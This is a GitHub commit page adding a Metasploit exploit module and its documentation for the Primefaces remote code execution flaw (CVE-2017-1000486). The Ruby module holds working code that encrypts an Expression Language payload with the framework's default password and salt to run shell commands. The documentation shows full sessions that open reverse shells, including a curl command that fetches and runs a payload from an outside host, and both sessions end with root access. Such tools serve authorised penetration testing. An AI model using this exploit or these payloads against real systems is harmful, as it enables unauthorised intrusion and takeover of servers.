-
Notifications
You must be signed in to change notification settings - Fork 14k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19649, Primefaces RCE (CVE-2017-1000486)
- Loading branch information
Showing
2 changed files
with
246 additions
and
0 deletions.
There are no files selected for viewing
104 changes: 104 additions & 0 deletions
104
documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,104 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits an expression language remote code execution flaw in the Primefaces JSF framework. | ||
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, | ||
due to the use of weak crypto and default encryption password and salt. | ||
|
||
Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. The following payloads worked in the docker image: | ||
|
||
* `payload/cmd/unix/reverse_jjs` | ||
* `payload/cmd/unix/reverse_openssl` | ||
* `payload/cmd/unix/reverse_perl` | ||
* `payload/cmd/unix/reverse_python` | ||
* `payload/cmd/unix/reverse_python_ssl` | ||
|
||
### Docker Image | ||
|
||
1. `git clone https://github.com/pimps/CVE-2017-1000486` | ||
2. `cd CVE-2017-1000486/` | ||
3. `docker build . -t primefaces` | ||
4. `docker run -p 8090:8080 -t primefaces` | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use exploit/multi/http/primefaces_weak_encryption_rce` | ||
1. Do: `set rhosts <ip>` | ||
1. Do: `set verbose true` | ||
1. Do: `set payload payload/cmd/unix/reverse_jjs` | ||
1. You should get a shell. | ||
|
||
## Options | ||
|
||
### PASSWORD | ||
|
||
The password to login. Defaults to `primefaces` | ||
|
||
## Scenarios | ||
|
||
### Docker image with Tomcat 7.0 with the Primefaces 5.2 Showcase application | ||
|
||
CMD payload | ||
|
||
``` | ||
msf6 > use exploit/multi/http/primefaces_weak_encryption_rce | ||
[*] No payload configured, defaulting to cmd/unix/reverse_netcat | ||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1 | ||
rhosts => 127.0.0.1 | ||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090 | ||
rport => 8090 | ||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true | ||
verbose => true | ||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs | ||
payload => cmd/unix/reverse_jjs | ||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit | ||
[*] Started reverse TCP handler on 1.1.1.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. Victim evaluates Expression Language expressions | ||
[*] Attempting to execute: echo ZWNobyAiZXZhbChuZXcgamF2YS5sYW5nLlN0cmluZyhqYXZhLnV0aWwuQmFzZTY0LmRlY29kZXIuZGVjb2RlKCdkbUZ5SUZCeWIyTmxjM05DZFdsc1pHVnlQVXBoZG1FdWRIbHdaU2dpYW1GMllTNXNZVzVuTGxCeWIyTmxjM05DZFdsc1pHVnlJaWs3ZG1GeUlIQTlibVYzSUZCeWIyTmxjM05DZFdsc1pHVnlLQ0l2WW1sdUwzTm9JaWt1Y21Wa2FYSmxZM1JGY25KdmNsTjBjbVZoYlNoMGNuVmxLUzV6ZEdGeWRDZ3BPM1poY2lCemN6MUtZWFpoTG5SNWNHVW9JbXBoZG1FdWJtVjBMbE52WTJ0bGRDSXBPM1poY2lCelBXNWxkeUJ6Y3lnaU1TNHhMakV1TVNJc05EUTBOQ2s3ZG1GeUlIQnBQWEF1WjJWMFNXNXdkWFJUZEhKbFlXMG9LU3h3WlQxd0xtZGxkRVZ5Y205eVUzUnlaV0Z0S0Nrc2MyazljeTVuWlhSSmJuQjFkRk4wY21WaGJTZ3BPM1poY2lCd2J6MXdMbWRsZEU5MWRIQjFkRk4wY21WaGJTZ3BMSE52UFhNdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN2QyaHBiR1VvSVhNdWFYTkRiRzl6WldRb0tTbDdkMmhwYkdVb2NHa3VZWFpoYVd4aFlteGxLQ2srTUNsemJ5NTNjbWwwWlNod2FTNXlaV0ZrS0NrcE8zZG9hV3hsS0hCbExtRjJZV2xzWVdKc1pTZ3BQakFwYzI4dWQzSnBkR1VvY0dVdWNtVmhaQ2dwS1R0M2FHbHNaU2h6YVM1aGRtRnBiR0ZpYkdVb0tUNHdLWEJ2TG5keWFYUmxLSE5wTG5KbFlXUW9LU2s3YzI4dVpteDFjMmdvS1R0d2J5NW1iSFZ6YUNncE8wcGhkbUV1ZEhsd1pTZ2lhbUYyWVM1c1lXNW5MbFJvY21WaFpDSXBMbk5zWldWd0tEVXdLVHQwY25sN2NDNWxlR2wwVm1Gc2RXVW9LVHRpY21WaGF6dDlZMkYwWTJnb1pTbDdmWDA3Y0M1a1pYTjBjbTk1S0NrN2N5NWpiRzl6WlNncE93PT0nKSkpOyJ8ampz|((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))|sh | ||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:54104) at 2024-11-14 11:31:01 -0500 | ||
whoami | ||
root | ||
``` | ||
|
||
fetch payload | ||
|
||
``` | ||
msf6 > use exploit/multi/http/primefaces_weak_encryption_rce | ||
[*] No payload configured, defaulting to cmd/unix/reverse_netcat | ||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1 | ||
rhosts => 127.0.0.1 | ||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090 | ||
rport => 8090 | ||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true | ||
verbose => true | ||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit | ||
[*] Command to run on remote host: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD & | ||
[*] Fetch handler listening on 1.1.1.1:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA | ||
[*] Started reverse TCP handler on 1.1.1.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. Victim evaluates Expression Language expressions | ||
[*] Attempting to execute: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD & | ||
[*] Client 172.17.0.2 requested /aZRe4yWUN3U2-lDtdsaGlA | ||
[*] Sending payload to 172.17.0.2 (curl/7.64.0) | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 172.17.0.2 | ||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.2:44312) at 2024-11-14 12:04:14 -0500 | ||
meterpreter > sysinfo | ||
Computer : 172.17.0.2 | ||
OS : Debian 10.10 (Linux 6.11.2-amd64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > getuid | ||
Server username: root | ||
``` |
142 changes: 142 additions & 0 deletions
142
modules/exploits/multi/http/primefaces_weak_encryption_rce.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,142 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Primefaces Remote Code Execution Exploit', | ||
'Description' => %q{ | ||
This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework. | ||
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, | ||
due to the use of weak crypto and default encryption password and salt. | ||
Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See | ||
documentation for working payloads. | ||
}, | ||
'Author' => [ | ||
'Bjoern Schuette', # EDB | ||
'h00die' # lots of fixes, documentation, standardization | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
['CVE', '2017-1000486'], | ||
['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'], | ||
['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'], | ||
['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'], | ||
['URL', 'https://github.com/primefaces/primefaces/issues/1152'], | ||
['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'], | ||
['EDB', '43733'] | ||
], | ||
'Payload' => { | ||
'BadChars' => '"\'\\' # all threw errors | ||
}, | ||
'Privileged' => true, | ||
'DisclosureDate' => '2016-02-15', | ||
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'], | ||
'Arch' => ARCH_CMD, | ||
'Targets' => [ | ||
[ | ||
'Universal', {}, | ||
], | ||
], | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
Opt::RPORT(80), | ||
OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']), | ||
OptString.new('TARGETURI', [true, 'The base path to primefaces', '/']) | ||
]) | ||
end | ||
|
||
def encrypt_el(password, payload) | ||
# el == Java Expression Language | ||
salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*') | ||
iteration_count = 19 | ||
|
||
cipher = OpenSSL::Cipher.new('DES') | ||
cipher.encrypt | ||
cipher.pkcs5_keyivgen password, salt, iteration_count | ||
|
||
ciphertext = cipher.update payload | ||
ciphertext << cipher.final | ||
ciphertext | ||
end | ||
|
||
def http_send_command(payload_wrapper) | ||
encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper) | ||
encrypted_payload = Rex::Text.encode_base64(encrypted_payload) | ||
|
||
# send the payload and execute command | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'), | ||
'vars_post' => { | ||
'pfdrt' => 'sc', | ||
'ln' => 'primefaces', | ||
'pfdrid' => encrypted_payload | ||
} | ||
}) | ||
|
||
res | ||
end | ||
|
||
def exploit | ||
cmd = payload.encoded | ||
|
||
# good for testing | ||
# cmd = "whoami" | ||
# error logs will show | ||
# Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle | ||
# SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed | ||
payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}' | ||
payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}' | ||
payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}' | ||
payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}' | ||
payload_wrapper << '${session.getAttribute("scriptengine").eval(' | ||
payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");' | ||
payload_wrapper << 'var proc = null;' | ||
payload_wrapper << 'os.toLowerCase().contains(\"win\")? ' | ||
payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()" | ||
payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();" | ||
payload_wrapper << 'var is = proc.getInputStream();' | ||
payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";' | ||
payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}' | ||
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}' | ||
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}' | ||
|
||
vprint_status("Attempting to execute: #{cmd}") | ||
res = http_send_command(payload_wrapper) | ||
fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500 | ||
# successful exploitation gives us no response | ||
end | ||
|
||
def check | ||
marker = rand_text_alpha_lower(5..9) | ||
# https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92 | ||
# payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}' | ||
payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}" | ||
|
||
res = http_send_command(payload_wrapper) | ||
return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil? | ||
return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker | ||
|
||
Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable') | ||
end | ||
|
||
end |